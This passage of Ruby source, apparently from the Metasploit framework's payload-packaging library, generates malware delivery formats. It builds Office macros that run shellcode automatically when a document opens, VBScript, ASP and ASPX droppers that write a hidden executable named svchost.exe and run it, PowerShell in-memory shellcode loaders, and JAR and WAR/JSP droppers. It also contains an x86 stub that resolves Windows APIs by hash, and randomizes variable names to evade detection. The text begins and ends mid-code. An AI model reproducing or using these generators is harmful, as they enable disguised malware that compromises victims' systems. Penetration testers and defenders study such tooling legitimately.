		var_Source       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
		var_Length       = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

		# put the shellcode bytes into an array
		bytes = ''
		maxbytes = 20
		codebytes = code.unpack('C*')
		1.upto(codebytes.length) do |idx|
			bytes << codebytes[idx].to_s
			bytes << "," if idx < codebytes.length - 1
			bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
		end

		"#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As Long, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As Long
#EndIf

Sub Auto_Open()
	Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
#If Vba7 Then
	Dim  #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
#Else
	Dim  #{var_rwxpage} As Long, #{var_res} As Long
#EndIf
	#{var_myArray} = Array(#{bytes})
	#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
	For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
		#{var_myByte} = #{var_myArray}(#{var_offset})
		#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
	Next #{var_offset}
	#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen()
	Auto_Open
End Sub
Sub Workbook_Open()
	Auto_Open
End Sub
"
	end

	def self.to_win32pe_vba(framework, code, opts={})
		to_exe_vba(to_win32pe(framework, code, opts))
	end

	def self.to_exe_vbs(exes = '', opts={})
		delay   = opts[:delay]   || 5
		persist = opts[:persist] || false

		exe = exes.unpack('C*')
		vbs = ""

		var_bytes   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
		var_fname   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
		var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)

		vbs << "Function #{var_func}()\r\n"

		vbs << "#{var_bytes}=Chr(#{exe[0]})"

		lines = []
		1.upto(exe.length-1) do |byte|
			if(byte % 100 == 0)
				lines.push "\r\n#{var_bytes}=#{var_bytes}"
			end
			# exe is an Array of bytes, not a String, thanks to the unpack
			# above, so the following line is not subject to the different
			# treatments of String#[] between ruby 1.8 and 1.9
			lines.push "&Chr(#{exe[byte]})"
		end
		vbs << lines.join("") + "\r\n"

		vbs << "Dim #{var_obj}\r\n"
		vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
		vbs << "Dim #{var_stream}\r\n"
		vbs << "Dim #{var_tempdir}\r\n"
		vbs << "Dim #{var_tempexe}\r\n"
		vbs << "Dim #{var_basedir}\r\n"
		vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"

		vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
		vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
		vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
		vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe}, true , false)\r\n"
		vbs << "#{var_stream}.Write #{var_bytes}\r\n"
		vbs << "#{var_stream}.Close\r\n"
		vbs << "Dim #{var_shell}\r\n"
		vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"

		vbs << "#{var_shell}.run #{var_tempexe}, 0, true\r\n"
		vbs << "#{var_obj}.DeleteFile(#{var_tempexe})\r\n"
		vbs << "#{var_obj}.DeleteFolder(#{var_basedir})\r\n"
		vbs << "End Function\r\n"

		vbs << "Do\r\n" if persist
		vbs << "#{var_func}\r\n"
		vbs << "WScript.Sleep #{delay * 1000}\r\n" if persist
		vbs << "Loop\r\n" if persist
		vbs
	end

	def self.to_exe_asp(exes = '', opts={})
		exe = exes.unpack('C*')
		vbs = "<%\r\n"

		var_bytes   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
		var_fname   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_func    = Rex::Text.rand_text_alpha(rand(8)+8)
		var_stream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_obj     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_shell   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
		var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)

		vbs << "Sub #{var_func}()\r\n"

		vbs << "#{var_bytes}=Chr(#{exe[0]})"

		lines = []
		1.upto(exe.length-1) do |byte|
			if(byte % 100 == 0)
				lines.push "\r\n#{var_bytes}=#{var_bytes}"
			end
			# exe is an Array of bytes, not a String, thanks to the unpack
			# above, so the following line is not subject to the different
			# treatments of String#[] between ruby 1.8 and 1.9
			lines.push "&Chr(#{exe[byte]})"
		end
		vbs << lines.join("") + "\r\n"

		vbs << "Dim #{var_obj}\r\n"
		vbs << "Set #{var_obj} = CreateObject(\"Scripting.FileSystemObject\")\r\n"
		vbs << "Dim #{var_stream}\r\n"
		vbs << "Dim #{var_tempdir}\r\n"
		vbs << "Dim #{var_tempexe}\r\n"
		vbs << "Dim #{var_basedir}\r\n"
		vbs << "Set #{var_tempdir} = #{var_obj}.GetSpecialFolder(2)\r\n"

		vbs << "#{var_basedir} = #{var_tempdir} & \"\\\" & #{var_obj}.GetTempName()\r\n"
		vbs << "#{var_obj}.CreateFolder(#{var_basedir})\r\n"
		vbs << "#{var_tempexe} = #{var_basedir} & \"\\\" & \"svchost.exe\"\r\n"
		vbs << "Set #{var_stream} = #{var_obj}.CreateTextFile(#{var_tempexe},2,0)\r\n"
		vbs << "#{var_stream}.Write #{var_bytes}\r\n"
		vbs << "#{var_stream}.Close\r\n"
		vbs << "Dim #{var_shell}\r\n"
		vbs << "Set #{var_shell} = CreateObject(\"Wscript.Shell\")\r\n"

		vbs << "#{var_shell}.run #{var_tempexe}, 0, false\r\n"
		vbs << "End Sub\r\n"

		vbs << "#{var_func}\r\n"
		vbs << "%>\r\n"
		vbs
	end

	def self.to_exe_aspx(exes = '', opts={})
		exe = exes.unpack('C*')

		var_file = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempdir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_basedir = Rex::Text.rand_text_alpha(rand(8)+8)
		var_filename = Rex::Text.rand_text_alpha(rand(8)+8)
		var_tempexe = Rex::Text.rand_text_alpha(rand(8)+8)
		var_iterator = Rex::Text.rand_text_alpha(rand(8)+8)
		var_proc = Rex::Text.rand_text_alpha(rand(8)+8)

		source = "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n"
		source << "<%@ Import Namespace=\"System.IO\" %>\r\n"
		source << "<script runat=\"server\">\r\n"
		source << "\tprotected void Page_Load(object sender, EventArgs e)\r\n"
		source << "\t{\r\n"
		source << "\t\tStringBuilder #{var_file} = new StringBuilder();\r\n"
		source << "\t\t#{var_file}.Append(\"\\x#{exe[0].to_s(16)}"

		1.upto(exe.length-1) do |byte|
				# Apparently .net 1.0 has a limit of 2046 chars per line
				if(byte % 100 == 0)
						source << "\");\r\n\t\t#{var_file}.Append(\""
				end
				source << "\\x#{exe[byte].to_s(16)}"
		end

		source << "\");\r\n"
		source << "\t\tstring #{var_tempdir} = Path.GetTempPath();\r\n"
		source << "\t\tstring #{var_basedir} = Path.Combine(#{var_tempdir}, \"#{var_filename}\");\r\n"
		source << "\t\tstring #{var_tempexe} = Path.Combine(#{var_basedir}, \"svchost.exe\");\r\n"
		source << "\r\n"
		source << "\t\tDirectory.CreateDirectory(#{var_basedir});\r\n"
		source << "\r\n"
		source << "\t\tFileStream fs = File.Create(#{var_tempexe});\r\n"
		source << "\t\ttry\r\n"
		source << "\t\t{\r\n"
		source << "\t\t\tforeach (char #{var_iterator} in #{var_file}.ToString())\r\n"
		source << "\t\t\t{\r\n"
		source << "\t\t\t\tfs.WriteByte(Convert.ToByte(#{var_iterator}));\r\n"
		source << "\t\t\t}\r\n"
		source << "\t\t}\r\n"
		source << "\t\tfinally\r\n"
		source << "\t\t{\r\n"
		source << "\t\t\tif (fs != null) ((IDisposable)fs).Dispose();\r\n"
		source << "\t\t}\r\n"
		source << "\r\n"
		source << "\t\tSystem.Diagnostics.Process #{var_proc} = new System.Diagnostics.Process();\r\n"
		source << "\t\t#{var_proc}.StartInfo.CreateNoWindow = true;\r\n"
		source << "\t\t#{var_proc}.StartInfo.UseShellExecute = true;\r\n"
		source << "\t\t#{var_proc}.StartInfo.FileName = #{var_tempexe};\r\n"
		source << "\t\t#{var_proc}.Start();\r\n"
		source << "\r\n"
		source << "\t}\r\n"
		source << "</script>\r\n"
		source
	end

	def self.to_win32pe_psh_net(framework, code, opts={})
		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
		var_kernel32 = Rex::Text.rand_text_alpha(rand(8)+8)
		var_baseaddr = Rex::Text.rand_text_alpha(rand(8)+8)
		var_threadHandle = Rex::Text.rand_text_alpha(rand(8)+8)
		var_output = Rex::Text.rand_text_alpha(rand(8)+8)
		var_temp = Rex::Text.rand_text_alpha(rand(8)+8)
		var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
		var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
		var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)

		code = code.unpack('C*')
		psh = "Set-StrictMode -Version 2\r\n"
		psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
		psh << "namespace #{var_kernel32} {\r\n"
		psh << "public class func {\r\n"
		psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
		psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
		psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
		psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
		psh << "[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
		psh << "[DllImport(\"kernel32.dll\")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);\r\n"
		psh << "} }\r\n"
		psh << "\"@\r\n\r\n"
		psh << "$#{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider\r\n"
		psh << "$#{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters\r\n"
		psh << "$#{var_compileParams}.ReferencedAssemblies.AddRange(@(\"System.dll\", [PsObject].Assembly.Location))\r\n"
		psh << "$#{var_compileParams}.GenerateInMemory = $True\r\n"
		psh << "$#{var_output} = $#{var_codeProvider}.CompileAssemblyFromSource($#{var_compileParams}, $#{var_syscode})\r\n\r\n"

		psh << "[Byte[]]$#{var_code} = 0x#{code[0].to_s(16)}"
		lines = []
		1.upto(code.length-1) do |byte|
			if(byte % 10 == 0)
				lines.push "\r\n$#{var_code} += 0x#{code[byte].to_s(16)}"
			else
				lines.push ",0x#{code[byte].to_s(16)}"
			end
		end
		psh << lines.join("") + "\r\n\r\n"

		psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
		psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
		psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
		psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
		psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
		psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
	end

	def self.to_win32pe_psh(framework, code, opts={})

		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
		var_win32_func = Rex::Text.rand_text_alpha(rand(8)+8)
		var_payload = Rex::Text.rand_text_alpha(rand(8)+8)
		var_size = Rex::Text.rand_text_alpha(rand(8)+8)
		var_rwx = Rex::Text.rand_text_alpha(rand(8)+8)
		var_iter = Rex::Text.rand_text_alpha(rand(8)+8)
		code = code.unpack("C*")

		# Add wrapper script
		psh = "$#{var_code} = @\"\r\n"
		psh << "[DllImport(\"kernel32.dll\")]\r\n"
		psh << "public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);\r\n"
		psh << "[DllImport(\"kernel32.dll\")]\r\n"
		psh << "public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);\r\n"
		psh << "[DllImport(\"msvcrt.dll\")]\r\n"
		psh << "public static extern IntPtr memset(IntPtr dest, uint src, uint count);\r\n"
		psh << "\"@\r\n"
		psh << "$#{var_win32_func} = Add-Type -memberDefinition $#{var_code} -Name \"Win32\" -namespace Win32Functions -passthru\r\n"
		# Set up the payload string
		psh << "[Byte[]]$#{var_payload} = 0x#{code[0].to_s(16)}"
		lines = []
		1.upto(code.length-1) do |byte|
			if(byte % 10 == 0)
				lines.push "\r\n$#{var_payload} += 0x#{code[byte].to_s(16)}"
			else
				lines.push ",0x#{code[byte].to_s(16)}"
			end
		end
		psh << lines.join("") + "\r\n\r\n"
		psh << "$#{var_size} = 0x1000\r\n"
		psh << "if ($#{var_payload}.Length -gt 0x1000) {$#{var_size} = $#{var_payload}.Length}\r\n"
		psh << "$#{var_rwx}=$#{var_win32_func}::VirtualAlloc(0,0x1000,$#{var_size},0x40)\r\n"
		psh << "for ($#{var_iter}=0;$#{var_iter} -le ($#{var_payload}.Length-1);$#{var_iter}++) {$#{var_win32_func}::memset([IntPtr]($#{var_rwx}.ToInt32()+$#{var_iter}), $#{var_payload}[$#{var_iter}], 1)}\r\n"
		psh << "$#{var_win32_func}::CreateThread(0,0,$#{var_rwx},0,0,0)\r\n"


	end

	def self.to_win32pe_vbs(framework, code, opts={})
		to_exe_vbs(to_win32pe(framework, code, opts), opts)
	end

	def self.to_win32pe_asp(framework, code, opts={})
		to_exe_asp(to_win32pe(framework, code, opts), opts)
	end

	def self.to_win32pe_aspx(framework, code, opts={})
		to_exe_aspx(to_win32pe(framework, code, opts), opts)
	end

	# Creates a jar file that drops the provided +exe+ into a random file name
	# in the system's temp dir and executes it.
	#
	# @see Msf::Payload::Java
	#
	# @return [Rex::Zip::Jar]
	def self.to_jar(exe, opts={})
		spawn = opts[:spawn] || 2
		exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
		zip = Rex::Zip::Jar.new
		paths = [
			[ "metasploit", "Payload.class" ],
		]
		zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
		zip.build_manifest :main_class => "metasploit.Payload"
		config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
		zip.add_file("metasploit.dat", config)
		zip.add_file(exe_name, exe)

		zip
	end

	# Creates a Web Archive (WAR) file from the provided jsp code.
	#
	# On Tomcat, WAR files will be deployed into a directory with the same name
	# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
	# server is in a default configuration, deoployment will happen
	# automatically. See
	# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
	# documentation} for a description of how this works.
	#
	# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
	#   in the archive. This will be compiled by the victim servlet container
	#   (e.g., Tomcat) and act as the main function for the servlet.
	# @param opts [Hash]
	# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
	#   _without the .jsp extension_. Defaults to random.
	# @option opts :app_name [String] Name of the app to put in the <servlet-name>
	#   tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
	#   random.
	# @option opts :extra_files [Array<String,String>] Additional files to add
	#   to the archive. First elment is filename, second is data
	#
	# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
	#
	# @return [String]
	def self.to_war(jsp_raw, opts={})
		jsp_name = opts[:jsp_name]
		jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
		app_name = opts[:app_name]
		app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

		meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
		manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
		web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
		web_xml.gsub!(/NAME/, app_name)
		web_xml.gsub!(/PAYLOAD/, jsp_name)

		zip = Rex::Zip::Archive.new
		zip.add_file('META-INF/', nil, meta_inf)
		zip.add_file('META-INF/MANIFEST.MF', manifest)
		zip.add_file('WEB-INF/', '')
		zip.add_file('WEB-INF/web.xml', web_xml)
		# add the payload
		zip.add_file("#{jsp_name}.jsp", jsp_raw)

		# add extra files
		if opts[:extra_files]
			opts[:extra_files].each { |el|
				zip.add_file(el[0], el[1])
			}
		end

		return zip.pack
	end

	# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
	# payload.  The jsp page converts the hexdump back to a normal binary file
	# and places it in the temp directory. The payload file is then executed.
	#
	# @see to_war
	# @param exe [String] Executable to drop and run.
	# @param opts (see to_war)
	# @option opts (see to_war)
	# @return (see to_war)
	def self.to_jsp_war(exe, opts={})

		# begin <payload>.jsp
		var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
		var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
		var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
		var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
		var_hexfile       = Rex::Text.rand_text_alpha(rand(8)+8)
		var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
		var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)

		jspraw =  "<%@ page import=\"java.io.*\" %>\n"
		jspraw << "<%\n"
		jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{var_hexfile}.txt\";\n"
		jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
		jspraw << "String #{var_data} = \"\";\n"

		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
		jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
		jspraw << "}\n"

		jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
		jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

		jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
		jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
		jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
		jspraw << "#{var_inputstream}.close();\n"

		jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
		jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
		jspraw << "{\n"
		jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
		jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
		jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
		jspraw << "#{var_comb} <<= 4;\n"
		jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
		jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
		jspraw << "}\n"

		jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
		jspraw << "#{var_outputstream}.close();\n"

		jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
		jspraw << "String[] #{var_fperm} = new String[3];\n"
		jspraw << "#{var_fperm}[0] = \"chmod\";\n"
		jspraw << "#{var_fperm}[1] = \"+x\";\n"
		jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
		jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
		jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
		jspraw << "}\n"
		# Linux and other UNICES allow removing files while they are in use...
		jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
		jspraw << "} else {\n"
		# Windows does not ..
		jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
		jspraw << "}\n"

		jspraw << "%>\n"

		# Specify the payload in hex as an extra file..
		payload_hex = exe.unpack('H*')[0]
		opts.merge!(
			{
				:extra_files =>
					[
						[ "#{var_hexfile}.txt", payload_hex ]
					]
			})

		return self.to_war(jspraw, opts)
	end

	# Creates a .NET DLL which loads data into memory
	# at a specified location with read/execute permissions
	#    - the data will be loaded at: base+0x2065
	#    - default max size is 0x8000 (32768)
	def self.to_dotnetmem(base=0x12340000, data="", opts={})

		# Allow the user to specify their own DLL template
		set_template_default(opts, "dotnetmem.dll")

		pe = ''
		File.open(opts[:template], "rb") { |fd|
			pe = fd.read(fd.stat.size)
		}

		# Configure the image base
		base_offset = opts[:base_offset] || 180
		pe[base_offset, 4] = [base].pack('V')

		# Configure the TimeDateStamp
		timestamp_offset = opts[:timestamp_offset] || 136
		pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

		# XXX: Unfortunately we cant make this RWX only RX
		# Mark this segment as read-execute AND writable
		# pe[412,4] = [0xe0000020].pack("V")

		# Write the data into the .text segment
		text_offset = opts[:text_offset] || 0x1065
		text_max    = opts[:text_max] || 0x8000
		pack        = opts[:pack] || 'a32768'
		pe[text_offset, text_max] = [data].pack(pack)

		# Generic a randomized UUID
		uuid_offset = opts[:uuid_offset] || 37656
		pe[uuid_offset,16] = Rex::Text.rand_text(16)

		return pe
	end


	def self.encode_stub(framework, arch, code, platform = nil, badchars='')
		return code if not framework.encoders
		framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
			begin
				enc = framework.encoders.create(name)
				raw = enc.encode(code, badchars, nil, platform)
				return raw if raw
			rescue
			end
		end
		nil
	end

	def self.generate_nops(framework, arch, len, opts={})
		opts['BadChars'] ||= ''
		opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

		return nil if not framework.nops
		framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
			begin
				nop = framework.nops.create(name)
				raw = nop.generate_sled(len, opts)
				return raw if raw
			rescue
			end
		end
		nil
	end

	# This wrapper is responsible for allocating RWX memory, copying the
	# target code there, setting an exception handler that calls ExitProcess
	# and finally executing the code.
	def self.win32_rwx_exec(code)

		stub_block = %Q^
		; Input: The hash of the API to call and all its parameters must be pushed onto stack.
		; Output: The return value from the API call will be in EAX.
		; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
		; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
		; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
		; Note: This function is unable to call forwarded exports.

		api_call:
		  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
		  mov ebp, esp           ; Create a new stack frame
		  xor edx, edx           ; Zero EDX
		  mov edx, [fs:edx+48]   ; Get a pointer to the PEB
		  mov edx, [edx+12]      ; Get PEB->Ldr
		  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
		next_mod:                ;
		  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
		  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
		  xor edi, edi           ; Clear EDI which will store the hash of the module name
		loop_modname:            ;
		  xor eax, eax           ; Clear EAX
		  lodsb                  ; Read in the next byte of the name
		  cmp al, 'a'            ; Some versions of Windows use lower case module names
		  jl not_lowercase       ;
		  sub al, 0x20           ; If so normalise to uppercase
		not_lowercase:           ;
		  ror edi, 13            ; Rotate right our hash value
		  add edi, eax           ; Add the next byte of the name
		  ;loop loop_modname      ; Loop until we have read enough
		  ; The random jmps added below will occasionally make this offset
		  ; greater than will fit in a byte, so we have to use a regular jnz
		  ; instruction which can take a full 32-bits to accomodate the
		  ; bigger offset
		  dec ecx
		  jnz loop_modname        ; Loop until we have read enough
		  ; We now have the module hash computed
		  push edx               ; Save the current position in the module list for later
		  push edi               ; Save the current module hash for later
		  ; Proceed to iterate the export address table,
		  mov edx, [edx+16]      ; Get this modules base address
		  mov eax, [edx+60]      ; Get PE header
		  add eax, edx           ; Add the modules base address
		  mov eax, [eax+120]     ; Get export tables RVA
		  test eax, eax          ; Test if no export address table is present
		  jz get_next_mod1       ; If no EAT present, process the next module
		  add eax, edx           ; Add the modules base address
		  push eax               ; Save the current modules EAT
		  mov ecx, [eax+24]      ; Get the number of function names
		  mov ebx, [eax+32]      ; Get the rva of the function names
		  add ebx, edx           ; Add the modules base address
		  ; Computing the module hash + function hash
		get_next_func:           ;
		  test ecx, ecx          ; Changed from jecxz to accomodate the larger offset produced by random jmps below
		  jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
		  dec ecx                ; Decrement the function name counter
		  mov esi, [ebx+ecx*4]   ; Get rva of next module name
		  add esi, edx           ; Add the modules base address
		  xor edi, edi           ; Clear EDI which will store the hash of the function name
		  ; And compare it to the one we want
		loop_funcname:           ;
		  xor eax, eax           ; Clear EAX
		  lodsb                  ; Read in the next byte of the ASCII function name
		  ror edi, 13            ; Rotate right our hash value
		  add edi, eax           ; Add the next byte of the name
		  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
		  jne loop_funcname      ; If we have not reached the null terminator, continue
		  add edi, [ebp-8]       ; Add the current module hash to the function hash
		  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
		  jnz get_next_func      ; Go compute the next function hash if we have not found it
		  ; If found, fix up stack, call the function and then value else compute the next one...
		  pop eax                ; Restore the current modules EAT
		  mov ebx, [eax+36]      ; Get the ordinal table rva
		  add ebx, edx           ; Add the modules base address
		  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
		  mov ebx, [eax+28]      ; Get the function addresses table rva
		  add ebx, edx           ; Add the modules base address
		  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
		  add eax, edx           ; Add the modules base address to get the functions actual VA
		  ; We now fix up the stack and perform the call to the desired function...
		finish:
		  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
		  pop ebx                ; Clear off the current modules hash
		  pop ebx                ; Clear off the current position in the module list
		  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
		  pop ecx                ; Pop off the origional return address our caller will have pushed
		  pop edx                ; Pop off the hash value our caller will have pushed
		  push ecx               ; Push back the correct return value
		  jmp eax                ; Jump into the required function
		  ; We now automagically return to the correct caller...
		get_next_mod:            ;
